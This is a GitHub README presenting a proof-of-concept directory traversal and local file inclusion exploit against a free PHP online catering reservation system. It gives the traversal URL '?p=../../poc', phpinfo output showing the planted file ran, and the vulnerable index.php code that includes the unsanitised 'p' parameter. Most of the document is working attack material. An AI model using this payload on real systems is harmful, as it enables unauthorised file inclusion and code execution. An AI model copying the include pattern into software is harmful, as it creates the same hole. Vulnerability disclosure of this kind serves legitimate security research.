

main

...

Online-Catering-Reservation-DT / README.md

dumpling-soup Update README.md

History

1 contributor

20 lines (11 sloc) 741 Bytes

...

Online-Catering-Reservation-DT

Exploit: Online-Catering-Reservation Directory Traversal Attack

Vendor/Source Code: <https://www.sourcecodester.com/php/14896/online-catering-reservation-system-using-php-free-source-code.html>

Website is hosted on C:\xampp\htdocs\catering\

poc.php (added to C:\ for this example)

```
<?php phpinfo(); ?>
```

Navigate to <http://localhost/catering/?p=../../poc>

System	Windows NT
Build Date	Jul 29 2021 14:09:24
Build System	Microsoft Windows Server 2019 Datacenter [10.0.17763]
Compiler	Visual C++ 2019
Architecture	x64
Configure Command	csript /nologo le /script configure.js "--enable-snapshot-build"--enable-debug-pack"--with-pdo-oci=\\.\.\.\instantclient\odk\shared"--with-oci8-19=\\.\.\.\instantclient\odk\shared"--enable-object-out-dir=.obj"--enable-com-dotnet=shared"--without-analyzer"--with-pgo"
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	no value
Loaded Configuration File	C:\xampp\php\php.ini

Vulnerable Code in index.php:

```
7 <?php $page = isset($_GET['p']) ? $_GET['p'] : 'home'; ?>
8
9 <?php
10 if(!file_exists($page.".php") && !is_dir($page)){
11     include '404.html';
12 }else{
13     if(is_dir($page))
14         include $page.'/index.php';
15     else
16         include $page.'.php';
17 }
18 ?>
```